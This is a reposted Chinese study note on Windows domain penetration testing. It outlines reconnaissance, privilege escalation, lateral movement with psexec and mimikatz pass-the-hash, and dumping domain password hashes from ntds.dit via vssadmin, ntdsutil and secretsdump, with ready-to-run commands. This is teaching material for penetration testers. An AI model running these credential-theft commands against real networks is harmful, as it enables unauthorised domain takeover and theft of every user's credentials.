Windows域渗透学习笔记

admin 2022年2月13日18:25:27评论303 views字数 3827阅读12分45秒阅读模式

Info

Windows域渗透初探,一边学习一边整理,后边还会慢慢补充,大家有意见或者建议的话欢迎提Issue Windows域渗透学习笔记

思路

在域环境中,一般的渗透思路如下:

  1. 获取一台域主机上的一个低权限用户,比如通过Webshell

  2. 信息收集(贯穿始终)

  3. 权限提升(提升到高权限来尝试获取其他域用户的登录凭据)

  4. 横向渗透(利用已经获得的登录凭据对其他域内主机进行渗透,或将当前机器作为代理,对域内其他机器进行扫描)

  5. 重复上述步骤直至控制域控

信息收集

基本信息:net config workstatsion,包括计算机名、用户名、工作站域、登录域

用户相关:

  • 查看域内用户:net user /domain/domain表示向域控发起查询)

  • 查看用户在域内的权限:net user username /domain

  • 查看域内用户组:net group /domain

  • 查看指定组内的用户:net group groupname /domain

  • 查看用户会话:query user

  • 查看用户密码/hash:mimikatz相关知识点

主机相关:

  • 主机发现:net view

  • 定位域控:net time /domainecho %logonserver%

  • 已知目标IP获取主机名和域内身份:nbtstat -A ip,Linux下:nbtscan

nbtstatnbtscan主要使用了NetBIOS Over TCP/IP,相关知识点

域内通信主要通过Windows文件共享来实现,相关知识点

其他工具例如msf中post/windows/gather/下的模块同样可以用来收集信息,各个模块的使用方法详见msf文档

关注公众号:hack之道,后台回复关键词:666,获取最新渗透教程和工具。

权限提升

meterpreter getsystem

  • Administrator -> System

  • 相关知识点

incognito.exe list_tokens -u

  • Administrator -> System / Administrator -> common user

  • 通过窃取用户token来获得用户身份,相关知识点

at运行定时任务

  • Administrator -> System

  • 使用at运行的定时任务都是以System权限运行的,但是运行定时任务需要Administrator的权限。https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks

msf exploit/windows/local

  • 可根据KB号来选择相应的exploit

misconfiguration

  • 利用服务、文件或文件夹等不严格的权限限制,比如允许更改服务设置,允许向加载DLL的位置写入文件等等

  • 检查权限的工具:AccessChk,来自Windows Sysinternals

  • misconfiguration检查工具:BeRoot

横向渗透

代理、端口转发

  • 推荐:Termite

  • Meterpreter autoroute、socks4a

  • ssh、reGeorg、lcx.exe ...

Remote Command Execution(在获取到远程机器登录凭据的情况下在远程机器上执行命令)

  • psexec

    • 原理:

      通过ipc$连接,然后释放psexesvc.exe到目标机器。

      通过服务管理SCManager远程创建psexecsvc服务,并启动服务。

      客户端连接执行命令,服务端启动相应的程序并执行回显数据。

      限制:需要开启admin$共享和开启445端口

      优势:执行成功直接提供System权限

  • WMI

    • 相关知识点

  • mimikatz pass the hash(适用于不知道用户名密码但是知道hash的情况)

    • mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"

    • This patches in the particular NTLM hash into LSASS memory, turning it into a kerberos ticket.

      原理是将特定的NTLM hash补丁放入LSASS内存,将其变成kerberos ticket。

    • 这样执行完后已经获得了目标用户的身份,然后就可以用net use等连接目标机器,无需知道用户的密码。

权限维持

  • Ntds.dit

    • DSInternals Get-ADDBAccount

    • Meterpreter smart_hashdump

    • impacket secretsdump.py

    • $key = Get-BootKey -SystemHivePath 'C:ExtractSYSTEM'
      Get-ADDBAccount -All -DBPath 'C:Extractntds.dit' -BootKey $key
    • python secretsdump.py -ntds /root/ntds_cracking/ntds.dit -system /root/ntds_cracking/systemhive LOCAL

    • 由于该文件在被域使用,所以无法直接copy

    • Volume Shadow Copy

    • PowerSploit NinjaCopy

    • Ntdsutil

    • vssadmin create shadow /for=C:
      copy VolumeNameWindowsNTDSntds.dit C:Extractntds.dit
      copy VolumeNameWindowsSystem32configSYSTEM C:ExtractSYSTEM
      vssadmin delete shadows /shadow={ShadowID}
    • Invoke-NinjaCopy -path C:WindowsNTDSntds.dit -verbose -localdestination C:Extractntds.dit

    • ntdsutil snapshot "activate instance ntds" create quit quit
      ntdsutil snapshot "mount {GUID}" quit quit
      copy MOUNT_POINTWindowsNTDSntds.dit C:Extractntds.dit
      ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
    • %SystemRoot%NTDSNtds.dit:真正的数据文件

    • %SystemRoot%System32Ntds.dit:分发副本,当一台机器升级到域控时,将该文件拷贝到 %SystemRoot%NTDSNtds.dit,域数据由后者记录

    • NT Directory Service . Directory Information Tree

    • 数据库文件,存储着域数据

    • 存储在两个位置

    • 文件导出

    • 哈希提取

常用工具

Metasploit:https://github.com/rapid7/metasploit-framework

PowerSploit:https://github.com/PowerShellMafia/PowerSploit ,多种PowerShell后渗透模块

Empire:https://github.com/EmpireProject/Empire ,基于PowerShell的后渗透框架,更适合内网渗透

Windows sysinternals:https://docs.microsoft.com/en-us/sysinternals/ ,Windows支持的工具集

Reference

https://3gstudent.github.io/

http://www.fuzzysecurity.com/tutorials/25.html

https://github.com/l3m0n/pentest_study

https://www.offensive-security.com/metasploit-unleashed/post-module-reference/

https://support.microsoft.com/en-us/help/313565/how-to-use-the-at-command-to-schedule-tasks

http://www.fuzzysecurity.com/tutorials/16.html

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/

https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/


作者:imp0wd3r

项目地址:https://github.com/imp0wd3r/active-directory-pentest

往期推荐

针对容器场景的多功能渗透工具(文末下载)

对某骗子网站的渗透测试

工具|Burpsuite被动扫描流量转发插件

干货|Cobalt Strike上线 -- 短信提醒

内网域渗透小工具(附下载地址)

原文始发于微信公众号(HACK之道):Windows域渗透学习笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月13日18:25:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows域渗透学习笔记https://cn-sec.com/archives/776016.html

发表评论

匿名网友 填写信息